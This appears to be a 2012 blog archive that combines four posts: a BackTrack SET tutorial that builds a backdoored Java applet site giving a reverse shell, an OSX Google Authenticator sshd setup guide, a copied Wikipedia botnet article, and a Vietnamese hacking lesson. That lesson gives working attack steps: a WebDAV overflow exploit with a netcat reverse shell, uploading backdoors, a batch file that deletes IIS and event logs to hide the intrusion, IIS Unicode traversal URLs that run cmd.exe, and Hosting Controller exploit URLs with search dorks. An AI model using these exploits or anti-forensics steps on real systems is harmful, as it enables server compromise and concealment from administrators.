Wednesday 25 January 2012

Backtrack 5: Penetration Testing with Social Engineering Toolkit

Article by Dan Dieterle
Social engineering attacks are one of the top techniques used against networks today.
Why spend days, weeks or even months trying to penetrate layers of network security when you can just trick a user into running a file that allows you full access to their machine and bypasses
anti-virus, firewalls and many intrusion detection systems?

This is most commonly used in phishing attacks today – craft an e-mail, or create a fake website that tricks users into running a malicious file that creates a backdoor into their system. But as a security expert, how could you test this against your network? Would such an attack work, and how could you defend against it? (click image to enlarge)
The Backtrack Linux penetration testing platform includes one of the most popular social engineering attack toolkits available. My previous “How-To” on Backtrack 4′s SET has been extremely popular. Well, Backtrack 5′s SET includes a whole slew of new features and I figured it was time to update the tutorial.
We will use SET to create a fake website that offers a backdoored program to any system that connects. So here goes…
Okay, timeout for a disclaimer: This is for security testing purposes only, never attempt to use any security checks or tools on a network that you do not have the authorization and written permission to do so. Doing so could cost you your job and you could end up in jail.
1. Obtain Backtrack 5 release 1. You can use the LiveCD version, install it on a new system or run it in a Virtual Machine.
2. The first thing you will want to do is update both the Metasploit Framework and the Social Engineering Toolkit to make sure you have the latest version. Update both, restart SET and check updates one more time.
3. Select number 1, “Social Engineering Attacks”
4. Next select 2, “Website Attack Vectors”. Notice the other options available.
5. Then 1, “Java Applet Attack Method”. This will create a Java app that has a backdoor shell in it.
6. Next choose 1, “Web Templates” to have SET create a generic webpage to use. Option 2, “Site Cloner” allows SET to use an existing webpage as a template for the attack webpage.
7. Now choose 1, “Java Required”. Notice the other social media options available.
8. Pick a payload you want delivered, I usually choose 2, “Windows Reverse_TCP Meterpreter”, but you have several to choose from including your own program . Number 13, “ShellCodeExec Alphanum Shellcode” is interesting as it runs from memory, never touching the hard drive, thus effectively by-passing most anti-virus programs.
9. Next choose an encoding type to bypass anti-virus. “Shikata_ga_nai” is very popular, Multi-Encoder uses several encoders, but number 16 is best, “Backdoored Executable”. It adds the backdoor program to a legitimate program, like Calc.exe.
10. Set the port to listen on, I just took the default.
Now Backtrack is all set and does several things. It creates the backdoor program, encodes and packs it. Creates the website that you want to use and starts up a listening service looking for people to connect. When done, your screen will look like this (click image to enlarge):
Okay we are all set. Now if we go to a “Victim” machine and surf to the IP address of the “attacker” machine we will see this (click image on the left below to enlarge):



If the “Victim” allows this Java script to run, we get a remote session on our attacking machine (click image on the right above to enlarge):
You now have access to the victims PC. Use “Sessions -i” and the Session number to connect to the session. Once connected, you can use linux commands to browse the remote PC, or running “shell” will give you a remote windows command shell. (click image to enlarge)

That’s it, one bad choice on the victim’s side and security updates and anti-virus means nothing. The “Victim” in this case was a fully updated Windows XP Professional with the top name anti-virus internet security suite installed and updated.
They can even surf away or close the webpage, because once the shell has connected the web browser is no longer needed. Most attackers will then solidify their hold on the PC and merge the session into another process effectively making the shell disappear.
This is why informing your users about the dangers of clicking on unknown links in e-mails, suspicious web links, online anti-virus messages and video codec updates is critical. It can be very hazardous to your network.
The easiest way to stop this type of attack is to simply run the FireFox add-in “Noscript”, also BitDefender AV 2012 seems very, very resilient against these types of attacks.

[HVA] How to use Google Authenticator for sshd/OSX -LEVUHOANG

Tóm tắt:


Hướng dẫn cách tích hợp Google Authenticator vào sshd trên môi trường OSX. Mục đích ngoài password thường dùng ra thì phải có one-time-password trên điện thoại mới có thể đăng nhập được vào hệ thống.
 


I was interested in Google Authenticator one month ago, if you don't know what Google Authenticator is, check this description (1):

The Google Authenticator project includes implementations of one-time passcode generators for several mobile platforms, as well as a pluggable authentication module (PAM). One-time passcodes are generated using open standards developed by the Initiative for Open Authentication (OATH) (which is unrelated to OAuth).
 

Google Authenticate can turn your mobile phone to an one-time-password (OTP) token. That means, beside your own password, you must provide a number from your phone to login to your system.

Some applications have integrated Google Authenticator like Google Apps, LastPass, WordPress... So, I asked myself if i could use it for my Macbook ssh daemon?

After some searches, I understood that Google Authenticator has not supported OSX officially. That's why it can not work with OSX although you can build it successfully. To have some funs, I decided to modify it. You can follow my steps to apply your Linux systems also because it's similar. Let's go:

1. Download source code (2):
You can use hg to grab the source code (3). Type the following command in console:
Code:
 hg clone --insecure https://code.google.com/p/google-authenticator/
 

If you get a certificate problem, try press R to ignore it (to fix this error, please contact Google Security Team :-P). The local source folder will be similar Google lastest repository (4).

2. Edit and compile:
Because of unofficially OSX supported, you can build the source code but you can't use it to login. You will always have this error:
Code:
 in _openpam_check_error_code(): pam_sm_authenticate(): unexpected return value 19
 

A little modification for OSX required (Linux maybe not), edit pam_google_authenticator.c, insert those lines:
Code:
 static int drop_privileges(pam_handle_t *pamh, const char *username, int uid,
 int *old_uid, int *old_gid) {
     // Try to become the new user. This might be necessary for NFS mounted home
     // directories.
 
     int old_uid1 = setuser(uid);
     if (old_uid1 < 0) {
         log_message(LOG_ERR, pamh, "Failed to change user id to \"%s\"", username);
         return -1;
     }
     return old_uid1;
 

Exit and execute "make && make install" in console. *Please keep in mind that this is my dirty hack to make it works, it is unsupported and I take no responsibles for this modification*.

As a result, pam_google_authenticator_testing.so is complied.

3. Install:
Copy pam_google_authenticator.so module to PAM folder:
Code:
 sudo cp pam_google_authenticator.so /usr/lib/pam/
 

Add this line to /etc/pam.d/sshd:
Code:
 auth       required       pam_google_authenticator.so
 

Add this line to /etc/sshd_config:
Code:
 ChallengeResponseAuthentication yes
 

Finally, restart sshd (5) by:
Code:
 sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist
 sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
 

To here, you finished the installation process, we can move to next step: Setup.

4. Setup:
You must install Google Authenticator for your mobile phone, in my case, i used App Store to download and install.

Run the following command in your server console:
Code:
 ./google-authenticator
 

Answer "y" for its questions.

That's all for server settings, now, you should look at information Google Authenticator provided, there is a link likes:
Code:
 https://www.google.com/chart?chs=200x200&chld=
 




Copy this link and paste it to your browser, a barcode image will appear.

Open Google Authenticator on your phone, press Plus (+) button and move your mobile's camera to capture the barcode image, it will automatically display your own OTP.

It's ok for mobile settings also.

5. Testing:
Try to login to your system via ssh, you will be required for password and verification code.

This is the result:



Two-factors authentication is now enabled.

References:
(1) http://code.google.com/p/google-authenticator/
(2) http://code.google.com/p/google-authenticator/source/checkout
(3) hg client: http://mercurial.selenic.com/downloads/
(4) http://code.google.com/p/google-authenticator/source/browse/
(5) Enable sshd for OSX: go to Apple > System Preferences > Sharing, check Remote Login

Friday 13 January 2012

Wiki - Botnet

Botnet

From Wikipedia, the free encyclopedia
A botnet is a collection of compromised computers connected to the Internet (these are also known as 'bots'). When a computer becomes compromised, it becomes a part of a botnet. Botnets are usually controlled via standards based network protocols such as IRC and http.[1]

Contents

 [hide

[edit] Background

Bots originated as a useful tool without any significant malicious overtone; they were originally developed as a virtual individual that could sit in an IRC channel and perform tasks while the user was too occupied to do so.[2] Soon after the release of the first IRC bot, a few worms which exploited vulnerabilities in IRC clients began to appear. Infected computers, or newly formed "bots", were then used to steal passwords, log keystrokes, and act as a proxy server to conceal the attackers identity.
Botnets were used for both recognition and financial gain -- indeed, the larger the botnet, the more ‘kudos’ the person ('bot herder') orchestrating the botnet could claim in underground online communities. The bot herder can also ‘rent out’ the services of the botnet to third parties, usually for sending out spam messages or performing a denial of service attack against a remote target. Due to the large numbers of compromised machines within the botnet, huge volumes of traffic (either email or denial of service) can be generated. However, in recent times, the volume of spam originating from a single compromised host has dropped in order to thwart anti-spam detection algorithms – a larger number of compromised hosts send a smaller number of messages in order to evade detection by anti-spam techniques.
Botnets have become a significant part of the Internet, albeit increasingly hidden. Due to most conventional IRC networks taking measures and blocking access to previously-hosted botnets, controllers must now find their own servers. Often, a botnet will include a variety of connections and network types. Sometimes a controller will hide an IRC server installation on an educational or corporate site where high-speed connections can support a large number of other bots. Exploitation of this method of using a bot to host other bots has proliferated only recently.[citation needed]
Several botnets have been found and removed from the Internet. The Dutch police found a 1.5 million node botnet[3] and the Norwegian ISP Telenor disbanded a 10,000-node botnet.[4] In July 2010, the FBI arrested a 23-year old Slovenian said to have integrated an estimated 12 million computers into a botnet. [5] Large coordinated international efforts to shut down botnets have also been initiated.[6] It has been estimated that botnets control up to 15% of computers worldwide that are connected to the internet.[7] Conficker is one of the largest known botnets, with an estimated 1 million to 10 million infected machines. It attempts to sell fake antivirus software to its victims.[8]

[edit] Recruitment

Computers are recruited into a botnet by running malicious software. This may be achieved by a drive-by download exploiting web browser vulnerabilities, or by tricking the user into running a Trojan horse program, possibly in an email attachment. As with any malware, there is no general rule; the software controls the computer and can do anything. It will typically install modules which allow the computer to be commanded and controlled by the botnet's owner. The Trojan may delete itself, or may remain present to update and maintain the modules.
The public warez scene is used to spread malicious software for the recruitment of new bots. Some websites have the malicious software embedded in all their available downloads. There is a false belief among some users, who think that infected keygens are flagged as malicious software by anti-virus programs for only the illegal aspect of the software.

[edit] Organization

While botnets are often named after their malicious software name, there are typically multiple botnets in operation using the same malicious software families, but operated by different criminal entities.[9]
While the term "botnet" can be used to refer to any group of bots, such as IRC bots, this word is generally used to refer to a collection of computers (called zombie computers) which have been recruited by running malicious software.
A botnet's originator (aka "bot herder" or "bot master") can control the group remotely, usually through a means such as IRC, and usually for nefarious purposes. Individual programs manifest as IRC "bots". Often the command-and-control takes place via an IRC server or a specific channel on a public IRC network. This server is known as the command-and-control server ("C&C"). Though rare, more experienced botnet operators program their own command protocols from scratch. The constituents of these protocols include a server program, a client program for operation, and the program that embeds itself on the victim's machine (bot). All three of these usually communicate with each other over a network using a unique encryption scheme for stealth and protection against detection or intrusion into the botnet network.
A bot typically runs hidden and uses a covert channel (e.g. the RFC 1459
 
(IRC) standard, Twitter, or IM) to communicate with its C&C server. Generally, the perpetrator of the botnet has compromised a series of systems using various tools (exploits, buffer overflows, as well as others; see also RPC). Newer bots can automatically scan their environment and propagate themselves using vulnerabilities and weak passwords. Generally, the more vulnerabilities a bot can scan and propagate through, the more valuable it becomes to a botnet controller community. The process of stealing computing resources as a result of a system being joined to a "botnet" is sometimes referred to as "scrumping." Botnet servers will often liaise with other botnet servers, such that a group may contain 20 or more individual cracked high-speed connected machines as servers, linked together for purposes of greater redundancy. Actual botnet communities usually consist of one or several controllers that rarely have highly-developed command hierarchies between themselves; they rely on individual friend-to-friend relationships.[10]
The architecture of botnets has evolved over time, and not all botnets exhibit the same topology for command and control. Depending upon the topology implemented by the botnet, it may make it more resilient to shutdown, enumeration, or command and control location discovery. However, some of these topologies limit the saleability and rental potential of the botnet to other third-party operators.[11] Typical botnet topologies are:
  • Star
  • Multi-server
  • Hierarchical
  • Random
To thwart detection, some botnets are scaling back in size. As of 2006, the average size of a network was estimated at 20,000 computers, although larger networks continued to operate.[12]

[edit] Formation and exploitation

This example illustrates how a botnet is created and used to send email spam.
How a botnet works
  1. A botnet operator sends out viruses or worms, infecting ordinary users' computers, whose payload is a malicious application—the bot.
  2. The bot on the infected PC logs into a particular C&C server (often an IRC server, but, in some cases a web server).
  3. A spammer purchases the services of the botnet from the operator.
  4. The spammer provides the spam messages to the operator, who instructs the compromised machines via the IRC server, causing them to send out spam messages.
Botnets are exploited for various purposes, including denial-of-service attacks, creation or misuse of SMTP mail relays for spam (see Spambot), click fraud, spamdexing and the theft of application serial numbers, login IDs, and financial information such as credit card numbers.
The botnet controller community features a constant and continuous struggle over who has the most bots, the highest overall bandwidth, and the most "high-quality" infected machines, like university, corporate, and even government machines.[13]

[edit] Types of attacks

  • Denial-of-service attacks where multiple systems autonomously access a single Internet system or service in a way that appears legitimate, but much more frequently than normal use and cause the system to become busy.
  • Adware exists to advertise some commercial entity actively and without the user's permission or awareness, for example by replacing banner ads on web pages with those of another content provider.
  • Spyware is software which sends information to its creators about a user's activities – typically passwords, credit card numbers and other information that can be sold on the black market. Compromised machines that are located within a corporate network can be worth more to the bot herder, as they can often gain access to confidential information held within that company. There have been several targeted attacks on large corporations with the aim of stealing sensitive information, one such example is the Aurora botnet.[14]
  • E-mail spam are e-mail messages disguised as messages from people, but are either advertising, annoying, or malicious in nature.
  • Click fraud is the user's computer visiting websites without the user's awareness to create false web traffic for the purpose of personal or commercial gain.
  • Access number replacements are where the botnet operator replaces the access numbers of a group of dial-up bots to that of a victim's phone number. Given enough bots partaking in this attack, the victim is consistently bombarded with phone calls attempting to connect to the internet. Having very little to defend against this attack, most are forced into changing their phone numbers (land line, cell phone, etc.).
  • Fast flux is a DNS technique used by botnets to hide phishing and malware delivery sites behind an ever-changing network of compromised hosts acting as proxies.
  • Brute-forcing remote machines services such as FTP, SMTP and SSH.
  • The worm behavior. Some botnet are designed to infect other hosts automatically.
  • Scareware can install the virus or the virus can install a scareware. For example users can be forced to buy a rogue anti-virus to regain access to their computer.[15]
  • Exploiting systems by using multiple identities such as multiple player at the same poker table and voting system such as music clip and contest.[16]

[edit] Preventive measures

If a machine receives a denial-of-service attack from a botnet, few choices exist. Given the general geographic dispersal of botnets, it becomes difficult to identify a pattern of offending machines, and the sheer volume of IP addresses does not lend itself to the filtering of individual cases. Passive OS fingerprinting can identify attacks originating from a botnet: network administrators can configure newer firewall equipment to take action on a botnet attack by using information obtained from passive OS fingerprinting. The most serious preventive measures utilize rate-based intrusion prevention systems implemented with specialized hardware. A network based intrusion detection system (NIDS) will be an effective approach when detecting any activities approaching botnet attacks. NIDS monitors a network, it sees protected hosts in terms of the external interfaces to the rest of the network, rather than as a single system, and get most of its results by network packet analysis.[17]
Some botnets use free DNS hosting services such as DynDns.org, No-IP.com, and Afraid.org to point a subdomain towards an IRC server that will harbor the bots. While these free DNS services do not themselves host attacks, they provide reference points (often hard-coded into the botnet executable). Removing such services can cripple an entire botnet. Recently, these companies have undertaken efforts to purge their domains of these subdomains. The botnet community refers to such efforts as "nullrouting", because the DNS hosting services usually re-direct the offending subdomains to an inaccessible IP address. Similarly, some botnets implement custom versions of well-known protocols. The implementation differences can be used for fingerprint-based detection of botnets. For example, Mega-D features a slightly modified SMTP protocol implementation for testing the spam capability. Bringing down the Mega-D's SMTP server disables the entire pool of bots that rely upon the same SMTP server.[18]
The botnet server structure mentioned above has inherent vulnerabilities and problems. For example, if one was to find one server with one botnet channel, often all other servers, as well as other bots themselves, will be revealed. If a botnet server structure lacks redundancy, the disconnection of one server will cause the entire botnet to collapse, at least until the controller(s) decide on a new hosting space. However, more recent IRC server software includes features to mask other connected servers and bots, so that a discovery of one channel will not lead to disruption of the botnet.
Several security companies such as Afferent Security Labs, Symantec, Trend Micro, FireEye, Umbra Data and Damballa have announced offerings to stop botnets. While some, like Norton AntiBot (discontinued), are aimed at consumers, most are aimed to protect enterprises and/or ISPs. The host-based techniques use heuristics to try to identify bot behavior that has bypassed conventional anti-virus software. Network-based approaches tend to use the techniques described above; shutting down C&C servers, nullrouting DNS entries, or completely shutting down IRC servers.
Newer botnets are almost entirely P2P, with command-and-control embedded into the botnet itself. By being dynamically updateable and variable they can evade having any single point of failure. Commanders can be identified solely through secure keys and all data except the binary itself can be encrypted. For example a spyware program may encrypt all suspected passwords with a public key hard coded or distributed into the bot software. Only with the private key, which only the commander has, can the data that the bot has captured be read.
Newer botnets have even been capable of detecting and reacting to attempts to figure out how they work. A large botnet that can detect that it is being studied can even DDoS those studying it off the internet.
There is an effort by researchers at Sandia National Laboratories to analyze the behavior of these botnets by simultaneously running one million Linux kernels as virtual machines on a 4,480-node Dell high-performance computer cluster.[19]

[edit] Historical list of botnets

Date created Date dismantled Name Estimated no. of bots Spam capacity Aliases
2009 (May)
BredoLab 30,000,000[20] 3.6 billion/day Oficla
2008 (around)
Mariposa 12,000,000[21]  ?
?
Conficker 10,500,000+[22] 10 billion/day DownUp, DownAndUp, DownAdUp, Kido
2010 (around)
TDL4 4,500,000[23]  ? TDSS, Alureon
?
Zeus 3,600,000 (US Only) [24] n/a Zbot, PRG, Wsnpoem, Gorhax, Kneber
2007 (Around)
Cutwail 1,500,000 [25] 74 billion/day Pandex, Mutant (related to: Wigon, Pushdo)
2008 (Around)
Sality 1,000,000 [26]  ? Sector, Kuku
?
Grum 560,000 [27] 39.9 billion/day Tedroo
?
Mega-D 509,000 [28] 10 billion/day Ozdok
?
Kraken 495,000 [29] 9 billion/day Kracken
2007 (March)
Srizbi 450,000[30] 60 billion/day Cbeplay, Exchanger
?
Lethic 260,000 [31] 2 billion/day none
2004 (Early)
Bagle 230,000[31] 5.7 billion/day Beagle, Mitglieder, Lodeight
?
Bobax 185,000[31] 9 billion/day Bobic, Oderoor, Cotmonger, Hacktool.Spammer, Kraken
?
Torpig 180,000 [32] n/a Sinowal, Anserin
?
Storm 160,000 [33] 3 billion/day Nuwar, Peacomm, Zhelatin
2006 (Around)
Rustock 150,000 [34] 30 billion/day RKRustok, Costrat
?
Donbot 125,000 [35] 0.8 billion/day Buzus, Bachsoy
2008 (November)
Waledac 80,000 [36] 1.5 billion/day Waled, Waledpak
?
Maazben 50,000 [31] 0.5 billion/day None
?
Onewordsub 40,000 [37] 1.8 billion/day ?
?
Gheg 30,000 [31] 0.24 billion/day Tofsee, Mondera
?
 ?? 20,000 [37] 5 billion/day Loosky, Locksky
?
Wopla 20,000 [37] 0.6 billion/day Pokier, Slogger, Cryptic
2008 (Around)
Asprox 15,000 [38]  ? Danmec, Hydraflux


Spamthru 12,000 [37] 0.35 billion/day Spam-DComServ, Covesmer, Xmiler
2010 (January)
LowSec 11,000+ [31] 0.5 billion/day LowSecurity, FreeMoney, Ring0.Tools
?
Xarvester 10,000 [31] 0.15 billion/day Rlsloup, Pixoliz
2009 (August)
Festi  ? 2.25 billion/day none
2008 (Around)
Gumblar  ?  ? None
2007
Akbot 1,300,000 [39]  ? None
  • Researchers at the University of California, Santa Barbara took control of a botnet that was six times smaller than expected. In some countries, it is common that users change their IP address a few times in one day. Estimating the size of the botnet by the number of IP addresses is often used by researchers, possibly leading to inaccurate assessments.[40]

Thursday 5 January 2012

LÀM THẾ NÀO ĐỂ TRỞ THÀNH MỘT WHITE-HAT HACKER - Phần 9

PART 9

50 . ) Kỹ thuật hack server thông qua lỗi tràn bộ đệm WebDAV :

_ Giới thiệu : Giao thức World Wide Web Distributed Authoring and Versioning (WebDAV) là một tập hợp các mở rộng cho giao thức HTTP dùng để cung cấp một cách thức chuẩn cho việc biên tập và quản lý file giữa các máy tính trên Internet. Lỗi tràn bộ đệm đã được phát hiện trong một thành phần của Windows 2000 được sử dụng bởi WebDAV có thể cho phép kẻ tấn công chiếm quyền điều khiển máy tính .
_ Chuẩn bị : Ngoài những đồ nghề đã giới thiệu ở các bài trước , các bạn hãy vào down thêm www32.brinkster.com/anhdenday/wb.zip extract để ở trong C:\
_ Khai thác :
+ Tìm một trang Web dùng IIS 5.0
+ Vào Dos , vào đặt NETCAT ở chế độ lắng nghe :

CODE
C:\>nx -vv -l -p 53
listening on [any] 53 ...


Ta để nó lắng nghe ở cổng 53 vì tường lửa ko chặn cổng này .

+ Mở thêm một của sổ DOS nữa .
+ Ta sử dụng WebDAV vừa down về .

c:\wb.exe <IP của máy chủ IIS> <IP của máy tính của mình dùng để tấn công> <cổng lắng nghe> [padding=1,2,3...]

VD :

CODE
C:\> webdav xxx.xxx.xxx.xxx 203.162.xxx.xxx 53 1
[Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]
www.coromputer.net && undernet #coromputer

Checking WebDav on 'xxx.xxx.xxx.xxx' ... FOUND
exploiting ntdll.dll through WebDav [ret: 0x00100010]
Connecting... CONNECTED
Sending evil request... SENT
Now if you are lucky you will get a shell.


+ Nếu như may mắn bạn có thể lấy được shell của máy chủ IIS . Nếu như ở máy tính dùng để tấn công hiện ra kết quả như sau thì bạn đã có shell rồi đó :

CODE
C:\>nc -vv -l -p 53
listening on [any] 53 ...
connect to [203.162.xxx.xxx] from xxx.xxx.xxx.xxx[xxx.xxx.xxx.xxx] 1125
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32> <-- OK đã thành công rùi. :mellow: :mellow: :mellow:


+ Khi đã có shell rồi việc đầu tiên là ta sử dụng các lệnh trong Unix để khai thác , sau đó up lên server vài con backdoor , he he . ( Sử dụng con WinShell, Hack Defensed là ok rùi ) .
+ Sau khi làm xong ta sẽ xoá file log , để xác định file log ta thực hiện câu truy vấn sau :

CODE
C:\WINNT\system32>reg query HKLM\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters /v LogFileDirectory ! REG.EXE VERSION 2.0


kết quả nó sẽ xuất hiện link để ta xác định file log :

CODE
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters LogFileDirectory REG_SZ C:\WINNT\System32\LogFiles


He he , đường dẫn file log là C:\WINNT\System32\LogFiles
+ Ta tạo một file a.bat trên máy của nạn nhân để thực hiện việc xoá file log này , ta đánh các lệnh sau :

CODE
C:\WINNT\system32>echo iisreset /stop >a.bat ' tạm dừng server IIS
C:\WINNT\system32>echo rd /q /s C:\WINNT\System32\LogFiles >>a.bat ' xóa nhật kí của IIS
C:\WINNT\system32>echo iisreset /start >>a.bat ' khởi động lại IIS
C:\WINNT\system32>echo ce >>a.bat ' xóa nhật kí của Event Log
C:\WINNT\system32>echo del a.bat >>a.bat ' xóa file a.bat


+ Sau đó ta dùng các lệnh sau để cho flie a.bat kia làm việc :

CODE
C:\WINNT\system32>net time \xxx.xxx.xxx.xxx ' lấy thời gian hiện tại của máy chủ


Nó sẽ cho kết quả như VD sau :

CODE
Current time at \xxx.xxx.xxx.xxx is dd/mm/yy 3:00 PM
The command completed successfully
.

Như vậy thờI gian hiện tạI trên máy chủ là 15:00 , ta sẽ cho file a.bat làm việc sau 5 phút nữa bằng lệnh sau :

CODE
C:\WINNT\system32>at 15:05 a.bat
Added a new job with job ID = 1


Ta có thể mặc đinh cho file a.bat tự động làm việc sau bao lâu là tuỳ vào thông số thời gian bạn đưa vào .
Ta thoát khỏi máy chủ bằng lệnh :

CODE
C:\WINNT\system32>exit ' đóng kết nối
sent 207, rcvd 746


+ Lúc này thì mấy admin có tài thánh cũng ko biết là đã có người thâm nhập.
_ Sau này các bạn muốn quay lại cái server trên thì ta đột nhập trực tiếp thông qua backdoor các bạn đã up lên.
_ Kèm theo file Wb.exe tôi đã để thêm 2 file nữa đó là :
+ xoafilelog.exe : dùng để xoá file log trong server của victim .
+ wbscaniis.xpn : dùng để quét xem server victim có bị lỗi này cho ta khai thác hay không , các bạn tự tìm hiểu để sử dụng chúng nhé.

( Tham khảo từ bài viết của seamoun )



















52 . ) Tìm hiểu về lỗ hổng Unicode trong Microsoft IIS :

_Giới thiệu: Microsoft IIS là một phần mềm web server. Nó chứa tất cả file của một website, và làm chúng có hiệu lực cho mọi người dùng trên internet. Nhưng như tất cả các phần mềm khác, (đặc biệt là của Microsoft) nó có lỗ hỏng bảo mật Unicode trong IIS của Microsoft, nhưng "không may" những người quản trị thì lại không quan tâm đến việc cài đặt những patch fix lỗi đó. Trong bài hướng dẫn này, ta thảo luận về cách mà lỗi này hoạt động, và Tại sao nó hoạt động được.

Khi bạn viếng thăm một website, địa chỉ của file bạn hiện giờ đang xem sẽ giống như sau:

http://www.someserver.com/

Đây là remote address của web server, hiển thị trên thanh address của trình duyệt. Bất kỳ ai cũng có thể truy cập nó trên internet. Khi vào site này, web server sẽ đưa cho bạn file index, (index.html hay ) của root folder web server. Hầu hết những root folder của một web server là:

C:\inetpub\wwwroot

Đây là thư mục local của web servers, nơi cất giữ tất cả các trang chính của website. Vì vậy nếu bạn gõ địa chỉ sau:

http://www.someserver.com/index.html

Ở trình duyệt, web server sẽ đưa cho bạn local file của nó:

c:\inetpub\wwwroot\index.html

Tôi hy vọng bạn sẽ không quá nhàm chán, việc quan trọng nhất là bạn phải hiểu được sự khác nhau giữa địa chỉ local và remote.

Bây giờ, cái gì sẽ xảy ra nếu ta muốn di chuyển một cặp thư mục lên web server? Ta muốn di chuyển từ c:\inetpub\wwwroot Đến c:\ chúng ta sẽ làm như thế nào? Bạn không thể gõ:

http://www.someserver.com/c:\

Chú thích Web server sẽ bắt đầu đi qua local của nó

c:\inetpub\wwwroot

Đối với những thư mục riêng, và do bạn không thể có : trong thư mục, nó sẽ đỗ vỡ và bạn nhận được thông báo lỗi trong trình duyệt.
Tiếc quá! nó không hoạt động.
Nếu đã quen với FTP, thì bạn cũng biết lệnh DIRUP dùng để làm gì.
Lệnh để đi đến một thư mục ở trên là
/../
Nếu bạn thiết kế bất kỳ web hay mã html nào thì chắc chắn bạn sẽ dùng được rất nhiều.
Vì thế ta chỉ đặt lệnh lẫn nhau, giống như sau

http://www.someserver.com/../../

Và bắt đầu truy cập vào ổ đĩa c local của server?
Tốt, ta bắt đầu khai thác ở đây, nhưng người tạo IIS lại muốn tránh phiền phức, bằng cách làm server từ chối loại yêu cầu này.Vì thế ta phải làm gì đây?Bạn có bao giờ thử download một file mà trong tên của nó có khoảng trống chưa?
Bạn có nhận được thông báo là trình duyệt đã biến đổi khoảng trống đó thành %20 không?
Hãy làm 1 ví dụ. Nếu bạn gõ cái này trong trình duyệt:

http://www.someserver.com/iis Unicode hole.txt

Trình duyệt sẽ thay thế khoảng trống bằng %20 :

http://www.someserver.com/iis%20unicode%20hole.txt

Và sau đó mới cho phép bạn download file.
Đó là cái gì, và tại sao trình duyệt lại phải làm như thế?
Máy tính không thể hiểu được khoảng trống. Đơn giản là chúng không làm được vậy thôi.
%20 ở đây chính là Unicode cho ký tự ASCII mà ta hay gọi là “khoảng trống”.
Ký tự ASCII là những ký tự mà ta thấy trên màn hình khi dùng máy tính. Chỉ có một Unicode cho mỗi ký tự ASCII. Vì thế, khi bạn đưa một khoảng trống vào trình duyệt, nó phải được thay thế bằng cái gì mà cho máy tính có thể hiểu được trước khi nó bắt đầu tìm kiếm.
Để tìm hiểu thêm về ASCII các bạn down tại :
www32.brinkster.com/anhdenday/ascii.zip
Từ khi trình duyệt biến đổi khoảng trống thành ký tự Unicode mới và gửi chúng đến web server mà có thể hiểu được, ta cũng có thể dùng ký tự Unicode để giải thích bất cứ thứ gì ta muốn, và web server sẽ cũng hiểu được chúng. Không chỉ với khoảng trống. Mà ta cũng có thể biến đổi lệnh DIRUP thành Unicode, và gửi chúng đến server. Ta cần biến đổi dấu gạch chéo (/) thành /../../ trong Unicode. Unicode của / là %5C .
Thật là tuyệt, nếu sau đó tôi chỉ cần gõ

http://www.someserver.com/..%5C.. %5C/

và tôi có thể thấy host được không?
Khai thác ở đây, nhưng có một vài lý do nó không hoạt động.
Đầu tiên, nếu bạn đã làm với server’s local c:\ Bạn sẽ cần một vài thứ để đóng thư mục. Web server sẽ không làm như vậy cho bạn. Vì vậy chúng ta cần mở cmd.exe (dấu nhắc DOS) của server. Trong trình duyệt của bạn! Nhưng chúng ta sẽ quay lại vấn đề này sau.
Thứ hai, khi server giải mã /..%5C.. %5C/
Nó sẽ thành /../../ mà lại bị hạn chế, và sau đó từ chối yêu cầu. Vì thế ta cần phải làm gì, hay mã hoá Unicode đã mã hóa rồi một lần nữa. Có thể bạn sẽ không theo tôi ngay bây giờ, nhưng tôi sẽ cố gắng giải thích một lần nữa. Ta cần mã hoá mọi ký tự của chuỗi Unicode đã có.
Xem bảng dưới sẽ hiểu hơn.

CODE
ASCII................................. UNICODE
%........................................ %25
5.......................................... %35
C............................ .............%43


Vì vậy khi ta mã hóa ký tự ASCII /..%5C.. %5C/
Sang Unicode, ta được ..%25%35%43..%25%35%43
Và khi server đọc chuỗi ký tự này, nó sẽ trở lạI /..%5C.. %5C/
Đó không phải là lệnh DIRUP bình thường, nên nó được cho phép.
Nhưng có một vài thứ chúng ta cần biết. Như tôi đã đề cập ở trước, khi bạn kết nối đến một web server, thư mục root mặc định là wwwroot. Thư mục này những trang chính của site. Nhưng có những thư mục khác cho những trang web như yếu tố scripts. Những thư mục này có chứa file mà có khá nhiều thứ quan trọng trong web server. Vì vậy khi vận dụng server, ta cần làm nó từ thư mục mà ta đã có đặc quyền để làm. Điều này không khó; Tôi chỉ muốn bạn hiểu tại sao tôi thêm /scripts/ vào cuối URL.

Rốt cuộc, khi ta thi hành lệnh ở dấu nhắc server’s local dos prompt, ta cần thi hành một lệnh cũng trong cái này. Ta muốn hiển thị c:\ ? Dễ thôi; ta chỉ cần làm vài thủ thuật khác hơn bạn thường làm ở dấu nhắc dos.

Bắt đầu cmd.exe theo cách sau:

cmd.exe?/c+

? = Mọi thứ sau dòng đối số của lệnh.
/c = Thi hành lệnh, sau đó đóng cmd.exe (để cho nó không chạy mãi)
+ = Thay thế cho khoảng trống

Cuối cùng, toàn bộ lệnh ráp lại sẽ như sau:

http://www.myserver.com/scripts/..%25%35%43..%25%35%43/winnt/system32/cmd.exe?/c+dir+c:\

Và bạn thấy được c:\ của servers bên trong trình duyệt. Hehe?

_ Chú thích: Có rất nhiều “lệnh” Unicode khác để cho ta thi hành, nếu cái này không hoạt động (có thể server đã fix được phần nào) thì thử áp dụng những cách sau:

CODE
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+C:\
/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+C:\ …….


( Một bài viết rất chất lượng của LeonHart bên www.whatvn.com )

53 . ) Kỹ thuật hack Hosting controller :

_Tìm site bị lỗi : vào Google.com đánh vào một trong các từ khoá sau :

+ copyright Hosting Controller .
+ allinurl:/advadmin .
+ allinurl:/admin .

Sau khi tìm được ta thử xét trang Web đó có bị lỗi hay ko bằng cách sử dụng 2 đoạn code :

CODE
http://www.victim.com/advwebadmin*hoac admin*/stats/statsbrowse.asp?filepath=c:\&Opt=3
( Lệnh này xem ổ đĩa của victim )

www.victim.com/advwebadmin/autosignup/newwebadmin.asp
( Lệnh này tạo một free hosting )


Nếu như 2 lệnh trên cùng thực hiên được thì ta có thể khai thác chúng được rồi đó , he he .
